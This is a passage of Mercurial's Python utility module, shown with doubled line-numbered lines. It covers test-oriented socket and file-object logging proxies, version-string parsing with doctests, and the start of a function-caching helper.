614 'write', *args, **kwargs
615 )
615 )
616
616
617 def detach(self, *args, **kwargs):
617 def detach(self, *args, **kwargs):
618 return object.__getattribute__(self, '_observedcall')(
618 return object.__getattribute__(self, '_observedcall')(
619 'detach', *args, **kwargs
619 'detach', *args, **kwargs
620 )
620 )
621
621
622 def read1(self, *args, **kwargs):
622 def read1(self, *args, **kwargs):
623 return object.__getattribute__(self, '_observedcall')(
623 return object.__getattribute__(self, '_observedcall')(
624 'read1', *args, **kwargs
624 'read1', *args, **kwargs
625 )
625 )
626
626
627
627
628 class observedbufferedinputpipe(bufferedinputpipe):
628 class observedbufferedinputpipe(bufferedinputpipe):
629 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
629 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
630
630
631 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
631 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
632 bypass ``fileobjectproxy``. Because of this, we need to make
632 bypass ``fileobjectproxy``. Because of this, we need to make
633 ``bufferedinputpipe`` aware of these operations.
633 ``bufferedinputpipe`` aware of these operations.
634
634
635 This variation of ``bufferedinputpipe`` can notify observers about
635 This variation of ``bufferedinputpipe`` can notify observers about
636 ``os.read()`` events. It also re-publishes other events, such as
636 ``os.read()`` events. It also re-publishes other events, such as
637 ``read()`` and ``readline()``.
637 ``read()`` and ``readline()``.
638 """
638 """
639
639
640 def _fillbuffer(self):
640 def _fillbuffer(self):
641 res = super(observedbufferedinputpipe, self)._fillbuffer()
641 res = super(observedbufferedinputpipe, self)._fillbuffer()
642
642
643 fn = getattr(self._input._observer, 'osread', None)
643 fn = getattr(self._input._observer, 'osread', None)
644 if fn:
644 if fn:
645 fn(res, _chunksize)
645 fn(res, _chunksize)
646
646
647 return res
647 return res
648
648
649 # We use different observer methods because the operation isn't
649 # We use different observer methods because the operation isn't
650 # performed on the actual file object but on us.
650 # performed on the actual file object but on us.
651 def read(self, size):
651 def read(self, size):
652 res = super(observedbufferedinputpipe, self).read(size)
652 res = super(observedbufferedinputpipe, self).read(size)
653
653
654 fn = getattr(self._input._observer, 'bufferedread', None)
654 fn = getattr(self._input._observer, 'bufferedread', None)
655 if fn:
655 if fn:
656 fn(res, size)
656 fn(res, size)
657
657
658 return res
658 return res
659
659
660 def readline(self, *args, **kwargs):
660 def readline(self, *args, **kwargs):
661 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
661 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
662
662
663 fn = getattr(self._input._observer, 'bufferedreadline', None)
663 fn = getattr(self._input._observer, 'bufferedreadline', None)
664 if fn:
664 if fn:
665 fn(res)
665 fn(res)
666
666
667 return res
667 return res
668
668
669
669
670 PROXIED_SOCKET_METHODS = {
670 PROXIED_SOCKET_METHODS = {
671 'makefile',
671 'makefile',
672 'recv',
672 'recv',
673 'recvfrom',
673 'recvfrom',
674 'recvfrom_into',
674 'recvfrom_into',
675 'recv_into',
675 'recv_into',
676 'send',
676 'send',
677 'sendall',
677 'sendall',
678 'sendto',
678 'sendto',
679 'setblocking',
679 'setblocking',
680 'settimeout',
680 'settimeout',
681 'gettimeout',
681 'gettimeout',
682 'setsockopt',
682 'setsockopt',
683 }
683 }
684
684
685
685
686 class socketproxy(object):
686 class socketproxy(object):
687 """A proxy around a socket that tells a watcher when events occur.
687 """A proxy around a socket that tells a watcher when events occur.
688
688
689 This is like ``fileobjectproxy`` except for sockets.
689 This is like ``fileobjectproxy`` except for sockets.
690
690
691 This type is intended to only be used for testing purposes. Think hard
691 This type is intended to only be used for testing purposes. Think hard
692 before using it in important code.
692 before using it in important code.
693 """
693 """
694
694
695 __slots__ = (
695 __slots__ = (
696 '_orig',
696 '_orig',
697 '_observer',
697 '_observer',
698 )
698 )
699
699
700 def __init__(self, sock, observer):
700 def __init__(self, sock, observer):
701 object.__setattr__(self, '_orig', sock)
701 object.__setattr__(self, '_orig', sock)
702 object.__setattr__(self, '_observer', observer)
702 object.__setattr__(self, '_observer', observer)
703
703
704 def __getattribute__(self, name):
704 def __getattribute__(self, name):
705 if name in PROXIED_SOCKET_METHODS:
705 if name in PROXIED_SOCKET_METHODS:
706 return object.__getattribute__(self, name)
706 return object.__getattribute__(self, name)
707
707
708 return getattr(object.__getattribute__(self, '_orig'), name)
708 return getattr(object.__getattribute__(self, '_orig'), name)
709
709
710 def __delattr__(self, name):
710 def __delattr__(self, name):
711 return delattr(object.__getattribute__(self, '_orig'), name)
711 return delattr(object.__getattribute__(self, '_orig'), name)
712
712
713 def __setattr__(self, name, value):
713 def __setattr__(self, name, value):
714 return setattr(object.__getattribute__(self, '_orig'), name, value)
714 return setattr(object.__getattribute__(self, '_orig'), name, value)
715
715
716 def __nonzero__(self):
716 def __nonzero__(self):
717 return bool(object.__getattribute__(self, '_orig'))
717 return bool(object.__getattribute__(self, '_orig'))
718
718
719 __bool__ = __nonzero__
719 __bool__ = __nonzero__
720
720
721 def _observedcall(self, name, *args, **kwargs):
721 def _observedcall(self, name, *args, **kwargs):
722 # Call the original object.
722 # Call the original object.
723 orig = object.__getattribute__(self, '_orig')
723 orig = object.__getattribute__(self, '_orig')
724 res = getattr(orig, name)(*args, **kwargs)
724 res = getattr(orig, name)(*args, **kwargs)
725
725
726 # Call a method on the observer of the same name with arguments
726 # Call a method on the observer of the same name with arguments
727 # so it can react, log, etc.
727 # so it can react, log, etc.
728 observer = object.__getattribute__(self, '_observer')
728 observer = object.__getattribute__(self, '_observer')
729 fn = getattr(observer, name, None)
729 fn = getattr(observer, name, None)
730 if fn:
730 if fn:
731 fn(res, *args, **kwargs)
731 fn(res, *args, **kwargs)
732
732
733 return res
733 return res
734
734
735 def makefile(self, *args, **kwargs):
735 def makefile(self, *args, **kwargs):
736 res = object.__getattribute__(self, '_observedcall')(
736 res = object.__getattribute__(self, '_observedcall')(
737 'makefile', *args, **kwargs
737 'makefile', *args, **kwargs
738 )
738 )
739
739
740 # The file object may be used for I/O. So we turn it into a
740 # The file object may be used for I/O. So we turn it into a
741 # proxy using our observer.
741 # proxy using our observer.
742 observer = object.__getattribute__(self, '_observer')
742 observer = object.__getattribute__(self, '_observer')
743 return makeloggingfileobject(
743 return makeloggingfileobject(
744 observer.fh,
744 observer.fh,
745 res,
745 res,
746 observer.name,
746 observer.name,
747 reads=observer.reads,
747 reads=observer.reads,
748 writes=observer.writes,
748 writes=observer.writes,
749 logdata=observer.logdata,
749 logdata=observer.logdata,
750 logdataapis=observer.logdataapis,
750 logdataapis=observer.logdataapis,
751 )
751 )
752
752
753 def recv(self, *args, **kwargs):
753 def recv(self, *args, **kwargs):
754 return object.__getattribute__(self, '_observedcall')(
754 return object.__getattribute__(self, '_observedcall')(
755 'recv', *args, **kwargs
755 'recv', *args, **kwargs
756 )
756 )
757
757
758 def recvfrom(self, *args, **kwargs):
758 def recvfrom(self, *args, **kwargs):
759 return object.__getattribute__(self, '_observedcall')(
759 return object.__getattribute__(self, '_observedcall')(
760 'recvfrom', *args, **kwargs
760 'recvfrom', *args, **kwargs
761 )
761 )
762
762
763 def recvfrom_into(self, *args, **kwargs):
763 def recvfrom_into(self, *args, **kwargs):
764 return object.__getattribute__(self, '_observedcall')(
764 return object.__getattribute__(self, '_observedcall')(
765 'recvfrom_into', *args, **kwargs
765 'recvfrom_into', *args, **kwargs
766 )
766 )
767
767
768 def recv_into(self, *args, **kwargs):
768 def recv_into(self, *args, **kwargs):
769 return object.__getattribute__(self, '_observedcall')(
769 return object.__getattribute__(self, '_observedcall')(
770 'recv_info', *args, **kwargs
770 'recv_info', *args, **kwargs
771 )
771 )
772
772
773 def send(self, *args, **kwargs):
773 def send(self, *args, **kwargs):
774 return object.__getattribute__(self, '_observedcall')(
774 return object.__getattribute__(self, '_observedcall')(
775 'send', *args, **kwargs
775 'send', *args, **kwargs
776 )
776 )
777
777
778 def sendall(self, *args, **kwargs):
778 def sendall(self, *args, **kwargs):
779 return object.__getattribute__(self, '_observedcall')(
779 return object.__getattribute__(self, '_observedcall')(
780 'sendall', *args, **kwargs
780 'sendall', *args, **kwargs
781 )
781 )
782
782
783 def sendto(self, *args, **kwargs):
783 def sendto(self, *args, **kwargs):
784 return object.__getattribute__(self, '_observedcall')(
784 return object.__getattribute__(self, '_observedcall')(
785 'sendto', *args, **kwargs
785 'sendto', *args, **kwargs
786 )
786 )
787
787
788 def setblocking(self, *args, **kwargs):
788 def setblocking(self, *args, **kwargs):
789 return object.__getattribute__(self, '_observedcall')(
789 return object.__getattribute__(self, '_observedcall')(
790 'setblocking', *args, **kwargs
790 'setblocking', *args, **kwargs
791 )
791 )
792
792
793 def settimeout(self, *args, **kwargs):
793 def settimeout(self, *args, **kwargs):
794 return object.__getattribute__(self, '_observedcall')(
794 return object.__getattribute__(self, '_observedcall')(
795 'settimeout', *args, **kwargs
795 'settimeout', *args, **kwargs
796 )
796 )
797
797
798 def gettimeout(self, *args, **kwargs):
798 def gettimeout(self, *args, **kwargs):
799 return object.__getattribute__(self, '_observedcall')(
799 return object.__getattribute__(self, '_observedcall')(
800 'gettimeout', *args, **kwargs
800 'gettimeout', *args, **kwargs
801 )
801 )
802
802
803 def setsockopt(self, *args, **kwargs):
803 def setsockopt(self, *args, **kwargs):
804 return object.__getattribute__(self, '_observedcall')(
804 return object.__getattribute__(self, '_observedcall')(
805 'setsockopt', *args, **kwargs
805 'setsockopt', *args, **kwargs
806 )
806 )
807
807
808
808
809 class baseproxyobserver(object):
809 class baseproxyobserver(object):
810 def __init__(self, fh, name, logdata, logdataapis):
810 def __init__(self, fh, name, logdata, logdataapis):
811 self.fh = fh
811 self.fh = fh
812 self.name = name
812 self.name = name
813 self.logdata = logdata
813 self.logdata = logdata
814 self.logdataapis = logdataapis
814 self.logdataapis = logdataapis
815
815
816 def _writedata(self, data):
816 def _writedata(self, data):
817 if not self.logdata:
817 if not self.logdata:
818 if self.logdataapis:
818 if self.logdataapis:
819 self.fh.write(b'\n')
819 self.fh.write(b'\n')
820 self.fh.flush()
820 self.fh.flush()
821 return
821 return
822
822
823 # Simple case writes all data on a single line.
823 # Simple case writes all data on a single line.
824 if b'\n' not in data:
824 if b'\n' not in data:
825 if self.logdataapis:
825 if self.logdataapis:
826 self.fh.write(b': %s\n' % stringutil.escapestr(data))
826 self.fh.write(b': %s\n' % stringutil.escapestr(data))
827 else:
827 else:
828 self.fh.write(
828 self.fh.write(
829 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
829 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
830 )
830 )
831 self.fh.flush()
831 self.fh.flush()
832 return
832 return
833
833
834 # Data with newlines is written to multiple lines.
834 # Data with newlines is written to multiple lines.
835 if self.logdataapis:
835 if self.logdataapis:
836 self.fh.write(b':\n')
836 self.fh.write(b':\n')
837
837
838 lines = data.splitlines(True)
838 lines = data.splitlines(True)
839 for line in lines:
839 for line in lines:
840 self.fh.write(
840 self.fh.write(
841 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
841 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
842 )
842 )
843 self.fh.flush()
843 self.fh.flush()
844
844
845
845
846 class fileobjectobserver(baseproxyobserver):
846 class fileobjectobserver(baseproxyobserver):
847 """Logs file object activity."""
847 """Logs file object activity."""
848
848
849 def __init__(
849 def __init__(
850 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
850 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
851 ):
851 ):
852 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
852 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
853 self.reads = reads
853 self.reads = reads
854 self.writes = writes
854 self.writes = writes
855
855
856 def read(self, res, size=-1):
856 def read(self, res, size=-1):
857 if not self.reads:
857 if not self.reads:
858 return
858 return
859 # Python 3 can return None from reads at EOF instead of empty strings.
859 # Python 3 can return None from reads at EOF instead of empty strings.
860 if res is None:
860 if res is None:
861 res = b''
861 res = b''
862
862
863 if size == -1 and res == b'':
863 if size == -1 and res == b'':
864 # Suppress pointless read(-1) calls that return
864 # Suppress pointless read(-1) calls that return
865 # nothing. These happen _a lot_ on Python 3, and there
865 # nothing. These happen _a lot_ on Python 3, and there
866 # doesn't seem to be a better workaround to have matching
866 # doesn't seem to be a better workaround to have matching
867 # Python 2 and 3 behavior. :(
867 # Python 2 and 3 behavior. :(
868 return
868 return
869
869
870 if self.logdataapis:
870 if self.logdataapis:
871 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
871 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
872
872
873 self._writedata(res)
873 self._writedata(res)
874
874
875 def readline(self, res, limit=-1):
875 def readline(self, res, limit=-1):
876 if not self.reads:
876 if not self.reads:
877 return
877 return
878
878
879 if self.logdataapis:
879 if self.logdataapis:
880 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
880 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
881
881
882 self._writedata(res)
882 self._writedata(res)
883
883
884 def readinto(self, res, dest):
884 def readinto(self, res, dest):
885 if not self.reads:
885 if not self.reads:
886 return
886 return
887
887
888 if self.logdataapis:
888 if self.logdataapis:
889 self.fh.write(
889 self.fh.write(
890 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
890 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
891 )
891 )
892
892
893 data = dest[0:res] if res is not None else b''
893 data = dest[0:res] if res is not None else b''
894
894
895 # _writedata() uses "in" operator and is confused by memoryview because
895 # _writedata() uses "in" operator and is confused by memoryview because
896 # characters are ints on Python 3.
896 # characters are ints on Python 3.
897 if isinstance(data, memoryview):
897 if isinstance(data, memoryview):
898 data = data.tobytes()
898 data = data.tobytes()
899
899
900 self._writedata(data)
900 self._writedata(data)
901
901
902 def write(self, res, data):
902 def write(self, res, data):
903 if not self.writes:
903 if not self.writes:
904 return
904 return
905
905
906 # Python 2 returns None from some write() calls. Python 3 (reasonably)
906 # Python 2 returns None from some write() calls. Python 3 (reasonably)
907 # returns the integer bytes written.
907 # returns the integer bytes written.
908 if res is None and data:
908 if res is None and data:
909 res = len(data)
909 res = len(data)
910
910
911 if self.logdataapis:
911 if self.logdataapis:
912 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
912 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
913
913
914 self._writedata(data)
914 self._writedata(data)
915
915
916 def flush(self, res):
916 def flush(self, res):
917 if not self.writes:
917 if not self.writes:
918 return
918 return
919
919
920 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
920 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
921
921
922 # For observedbufferedinputpipe.
922 # For observedbufferedinputpipe.
923 def bufferedread(self, res, size):
923 def bufferedread(self, res, size):
924 if not self.reads:
924 if not self.reads:
925 return
925 return
926
926
927 if self.logdataapis:
927 if self.logdataapis:
928 self.fh.write(
928 self.fh.write(
929 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
929 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
930 )
930 )
931
931
932 self._writedata(res)
932 self._writedata(res)
933
933
934 def bufferedreadline(self, res):
934 def bufferedreadline(self, res):
935 if not self.reads:
935 if not self.reads:
936 return
936 return
937
937
938 if self.logdataapis:
938 if self.logdataapis:
939 self.fh.write(
939 self.fh.write(
940 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
940 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
941 )
941 )
942
942
943 self._writedata(res)
943 self._writedata(res)
944
944
945
945
946 def makeloggingfileobject(
946 def makeloggingfileobject(
947 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
947 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
948 ):
948 ):
949 """Turn a file object into a logging file object."""
949 """Turn a file object into a logging file object."""
950
950
951 observer = fileobjectobserver(
951 observer = fileobjectobserver(
952 logh,
952 logh,
953 name,
953 name,
954 reads=reads,
954 reads=reads,
955 writes=writes,
955 writes=writes,
956 logdata=logdata,
956 logdata=logdata,
957 logdataapis=logdataapis,
957 logdataapis=logdataapis,
958 )
958 )
959 return fileobjectproxy(fh, observer)
959 return fileobjectproxy(fh, observer)
960
960
961
961
962 class socketobserver(baseproxyobserver):
962 class socketobserver(baseproxyobserver):
963 """Logs socket activity."""
963 """Logs socket activity."""
964
964
965 def __init__(
965 def __init__(
966 self,
966 self,
967 fh,
967 fh,
968 name,
968 name,
969 reads=True,
969 reads=True,
970 writes=True,
970 writes=True,
971 states=True,
971 states=True,
972 logdata=False,
972 logdata=False,
973 logdataapis=True,
973 logdataapis=True,
974 ):
974 ):
975 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
975 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
976 self.reads = reads
976 self.reads = reads
977 self.writes = writes
977 self.writes = writes
978 self.states = states
978 self.states = states
979
979
980 def makefile(self, res, mode=None, bufsize=None):
980 def makefile(self, res, mode=None, bufsize=None):
981 if not self.states:
981 if not self.states:
982 return
982 return
983
983
984 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
984 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
985
985
986 def recv(self, res, size, flags=0):
986 def recv(self, res, size, flags=0):
987 if not self.reads:
987 if not self.reads:
988 return
988 return
989
989
990 if self.logdataapis:
990 if self.logdataapis:
991 self.fh.write(
991 self.fh.write(
992 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
992 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
993 )
993 )
994 self._writedata(res)
994 self._writedata(res)
995
995
996 def recvfrom(self, res, size, flags=0):
996 def recvfrom(self, res, size, flags=0):
997 if not self.reads:
997 if not self.reads:
998 return
998 return
999
999
1000 if self.logdataapis:
1000 if self.logdataapis:
1001 self.fh.write(
1001 self.fh.write(
1002 b'%s> recvfrom(%d, %d) -> %d'
1002 b'%s> recvfrom(%d, %d) -> %d'
1003 % (self.name, size, flags, len(res[0]))
1003 % (self.name, size, flags, len(res[0]))
1004 )
1004 )
1005
1005
1006 self._writedata(res[0])
1006 self._writedata(res[0])
1007
1007
1008 def recvfrom_into(self, res, buf, size, flags=0):
1008 def recvfrom_into(self, res, buf, size, flags=0):
1009 if not self.reads:
1009 if not self.reads:
1010 return
1010 return
1011
1011
1012 if self.logdataapis:
1012 if self.logdataapis:
1013 self.fh.write(
1013 self.fh.write(
1014 b'%s> recvfrom_into(%d, %d) -> %d'
1014 b'%s> recvfrom_into(%d, %d) -> %d'
1015 % (self.name, size, flags, res[0])
1015 % (self.name, size, flags, res[0])
1016 )
1016 )
1017
1017
1018 self._writedata(buf[0 : res[0]])
1018 self._writedata(buf[0 : res[0]])
1019
1019
1020 def recv_into(self, res, buf, size=0, flags=0):
1020 def recv_into(self, res, buf, size=0, flags=0):
1021 if not self.reads:
1021 if not self.reads:
1022 return
1022 return
1023
1023
1024 if self.logdataapis:
1024 if self.logdataapis:
1025 self.fh.write(
1025 self.fh.write(
1026 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1026 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1027 )
1027 )
1028
1028
1029 self._writedata(buf[0:res])
1029 self._writedata(buf[0:res])
1030
1030
1031 def send(self, res, data, flags=0):
1031 def send(self, res, data, flags=0):
1032 if not self.writes:
1032 if not self.writes:
1033 return
1033 return
1034
1034
1035 self.fh.write(
1035 self.fh.write(
1036 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1036 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1037 )
1037 )
1038 self._writedata(data)
1038 self._writedata(data)
1039
1039
1040 def sendall(self, res, data, flags=0):
1040 def sendall(self, res, data, flags=0):
1041 if not self.writes:
1041 if not self.writes:
1042 return
1042 return
1043
1043
1044 if self.logdataapis:
1044 if self.logdataapis:
1045 # Returns None on success. So don't bother reporting return value.
1045 # Returns None on success. So don't bother reporting return value.
1046 self.fh.write(
1046 self.fh.write(
1047 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1047 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1048 )
1048 )
1049
1049
1050 self._writedata(data)
1050 self._writedata(data)
1051
1051
1052 def sendto(self, res, data, flagsoraddress, address=None):
1052 def sendto(self, res, data, flagsoraddress, address=None):
1053 if not self.writes:
1053 if not self.writes:
1054 return
1054 return
1055
1055
1056 if address:
1056 if address:
1057 flags = flagsoraddress
1057 flags = flagsoraddress
1058 else:
1058 else:
1059 flags = 0
1059 flags = 0
1060
1060
1061 if self.logdataapis:
1061 if self.logdataapis:
1062 self.fh.write(
1062 self.fh.write(
1063 b'%s> sendto(%d, %d, %r) -> %d'
1063 b'%s> sendto(%d, %d, %r) -> %d'
1064 % (self.name, len(data), flags, address, res)
1064 % (self.name, len(data), flags, address, res)
1065 )
1065 )
1066
1066
1067 self._writedata(data)
1067 self._writedata(data)
1068
1068
1069 def setblocking(self, res, flag):
1069 def setblocking(self, res, flag):
1070 if not self.states:
1070 if not self.states:
1071 return
1071 return
1072
1072
1073 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1073 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1074
1074
1075 def settimeout(self, res, value):
1075 def settimeout(self, res, value):
1076 if not self.states:
1076 if not self.states:
1077 return
1077 return
1078
1078
1079 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1079 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1080
1080
1081 def gettimeout(self, res):
1081 def gettimeout(self, res):
1082 if not self.states:
1082 if not self.states:
1083 return
1083 return
1084
1084
1085 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1085 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1086
1086
1087 def setsockopt(self, res, level, optname, value):
1087 def setsockopt(self, res, level, optname, value):
1088 if not self.states:
1088 if not self.states:
1089 return
1089 return
1090
1090
1091 self.fh.write(
1091 self.fh.write(
1092 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1092 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1093 % (self.name, level, optname, value, res)
1093 % (self.name, level, optname, value, res)
1094 )
1094 )
1095
1095
1096
1096
1097 def makeloggingsocket(
1097 def makeloggingsocket(
1098 logh,
1098 logh,
1099 fh,
1099 fh,
1100 name,
1100 name,
1101 reads=True,
1101 reads=True,
1102 writes=True,
1102 writes=True,
1103 states=True,
1103 states=True,
1104 logdata=False,
1104 logdata=False,
1105 logdataapis=True,
1105 logdataapis=True,
1106 ):
1106 ):
1107 """Turn a socket into a logging socket."""
1107 """Turn a socket into a logging socket."""
1108
1108
1109 observer = socketobserver(
1109 observer = socketobserver(
1110 logh,
1110 logh,
1111 name,
1111 name,
1112 reads=reads,
1112 reads=reads,
1113 writes=writes,
1113 writes=writes,
1114 states=states,
1114 states=states,
1115 logdata=logdata,
1115 logdata=logdata,
1116 logdataapis=logdataapis,
1116 logdataapis=logdataapis,
1117 )
1117 )
1118 return socketproxy(fh, observer)
1118 return socketproxy(fh, observer)
1119
1119
1120
1120
1121 def version():
1121 def version():
1122 """Return version information if available."""
1122 """Return version information if available."""
1123 try:
1123 try:
1124 from . import __version__
1124 from . import __version__
1125
1125
1126 return __version__.version
1126 return __version__.version
1127 except ImportError:
1127 except ImportError:
1128 return b'unknown'
1128 return b'unknown'
1129
1129
1130
1130
1131 def versiontuple(v=None, n=4):
1131 def versiontuple(v=None, n=4):
1132 """Parses a Mercurial version string into an N-tuple.
1132 """Parses a Mercurial version string into an N-tuple.
1133
1133
1134 The version string to be parsed is specified with the ``v`` argument.
1134 The version string to be parsed is specified with the ``v`` argument.
1135 If it isn't defined, the current Mercurial version string will be parsed.
1135 If it isn't defined, the current Mercurial version string will be parsed.
1136
1136
1137 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1137 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1138 returned values:
1138 returned values:
1139
1139
1140 >>> v = b'3.6.1+190-df9b73d2d444'
1140 >>> v = b'3.6.1+190-df9b73d2d444'
1141 >>> versiontuple(v, 2)
1141 >>> versiontuple(v, 2)
1142 (3, 6)
1142 (3, 6)
1143 >>> versiontuple(v, 3)
1143 >>> versiontuple(v, 3)
1144 (3, 6, 1)
1144 (3, 6, 1)
1145 >>> versiontuple(v, 4)
1145 >>> versiontuple(v, 4)
1146 (3, 6, 1, '190-df9b73d2d444')
1146 (3, 6, 1, '190-df9b73d2d444')
1147
1147
1148 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1148 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1149 (3, 6, 1, '190-df9b73d2d444+20151118')
1149 (3, 6, 1, '190-df9b73d2d444+20151118')
1150
1150
1151 >>> v = b'3.6'
1151 >>> v = b'3.6'
1152 >>> versiontuple(v, 2)
1152 >>> versiontuple(v, 2)
1153 (3, 6)
1153 (3, 6)
1154 >>> versiontuple(v, 3)
1154 >>> versiontuple(v, 3)
1155 (3, 6, None)
1155 (3, 6, None)
1156 >>> versiontuple(v, 4)
1156 >>> versiontuple(v, 4)
1157 (3, 6, None, None)
1157 (3, 6, None, None)
1158
1158
1159 >>> v = b'3.9-rc'
1159 >>> v = b'3.9-rc'
1160 >>> versiontuple(v, 2)
1160 >>> versiontuple(v, 2)
1161 (3, 9)
1161 (3, 9)
1162 >>> versiontuple(v, 3)
1162 >>> versiontuple(v, 3)
1163 (3, 9, None)
1163 (3, 9, None)
1164 >>> versiontuple(v, 4)
1164 >>> versiontuple(v, 4)
1165 (3, 9, None, 'rc')
1165 (3, 9, None, 'rc')
1166
1166
1167 >>> v = b'3.9-rc+2-02a8fea4289b'
1167 >>> v = b'3.9-rc+2-02a8fea4289b'
1168 >>> versiontuple(v, 2)
1168 >>> versiontuple(v, 2)
1169 (3, 9)
1169 (3, 9)
1170 >>> versiontuple(v, 3)
1170 >>> versiontuple(v, 3)
1171 (3, 9, None)
1171 (3, 9, None)
1172 >>> versiontuple(v, 4)
1172 >>> versiontuple(v, 4)
1173 (3, 9, None, 'rc+2-02a8fea4289b')
1173 (3, 9, None, 'rc+2-02a8fea4289b')
1174
1174
1175 >>> versiontuple(b'4.6rc0')
1175 >>> versiontuple(b'4.6rc0')
1176 (4, 6, None, 'rc0')
1176 (4, 6, None, 'rc0')
1177 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1177 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1178 (4, 6, None, 'rc0+12-425d55e54f98')
1178 (4, 6, None, 'rc0+12-425d55e54f98')
1179 >>> versiontuple(b'.1.2.3')
1179 >>> versiontuple(b'.1.2.3')
1180 (None, None, None, '.1.2.3')
1180 (None, None, None, '.1.2.3')
1181 >>> versiontuple(b'12.34..5')
1181 >>> versiontuple(b'12.34..5')
1182 (12, 34, None, '..5')
1182 (12, 34, None, '..5')
1183 >>> versiontuple(b'1.2.3.4.5.6')
1183 >>> versiontuple(b'1.2.3.4.5.6')
1184 (1, 2, 3, '.4.5.6')
1184 (1, 2, 3, '.4.5.6')
1185 """
1185 """
1186 if not v:
1186 if not v:
1187 v = version()
1187 v = version()
1188 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1188 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1189 if not m:
1189 if not m:
1190 vparts, extra = b'', v
1190 vparts, extra = b'', v
1191 elif m.group(2):
1191 elif m.group(2):
1192 vparts, extra = m.groups()
1192 vparts, extra = m.groups()
1193 else:
1193 else:
1194 vparts, extra = m.group(1), None
1194 vparts, extra = m.group(1), None
1195
1195
1196 assert vparts is not None # help pytype
1196 assert vparts is not None # help pytype
1197
1197
1198 vints = []
1198 vints = []
1199 for i in vparts.split(b'.'):
1199 for i in vparts.split(b'.'):
1200 try:
1200 try:
1201 vints.append(int(i))
1201 vints.append(int(i))
1202 except ValueError:
1202 except ValueError:
1203 break
1203 break
1204 # (3, 6) -> (3, 6, None)
1204 # (3, 6) -> (3, 6, None)
1205 while len(vints) < 3:
1205 while len(vints) < 3:
1206 vints.append(None)
1206 vints.append(None)
1207
1207
1208 if n == 2:
1208 if n == 2:
1209 return (vints[0], vints[1])
1209 return (vints[0], vints[1])
1210 if n == 3:
1210 if n == 3:
1211 return (vints[0], vints[1], vints[2])
1211 return (vints[0], vints[1], vints[2])
1212 if n == 4:
1212 if n == 4:
1213 return (vints[0], vints[1], vints[2], extra)
1213 return (vints[0], vints[1], vints[2], extra)
1214
1214
1215
1215
1216 def cachefunc(func):
1216 def cachefunc(func):
1217 '''cache the result of function calls'''
1217 '''cache the result of function calls'''
1218 # XXX doesn't handle keywords args
1218 # XXX doesn't handle keywords args
1219 if func.__code__.co_argcount == 0:
1219 if func.__code__.co_argcount == 0:
1220 listcache = []
1220 listcache = []
1221
1221
1222 def f():
1222 def f():
1223 if len(listcache) == 0:
1223 if len(listcache) == 0:
1224 listcache.append(func())
1224 listcache.append(func())
1225 return listcache[0]
1225 return listcache[0]
1226
1226
1227 return f
1227 return f
1228 cache = {}
1228 cache = {}
1229 if func.__code__.co_argcount == 1:
1229 if func.__code__.co_argcount == 1:
1230 # we gain a small amount of time because
1230 # we gain a small amount of time because
1231 # we don't need to pack/unpack the list
1231 # we don't need to pack/unpack the list
1232 def f(arg):
1232 def f(arg):
1233 if arg not in cache:
1233 if arg not in cache:
1234 cache[arg] = func(arg)
1234 cache[arg] = func(arg)
1235 return cache[arg]
1235 return cache[arg]
1236
1236
1237 else:
1237 else:
1238
1238
1239 def f(*args):
1239 def f(*args):
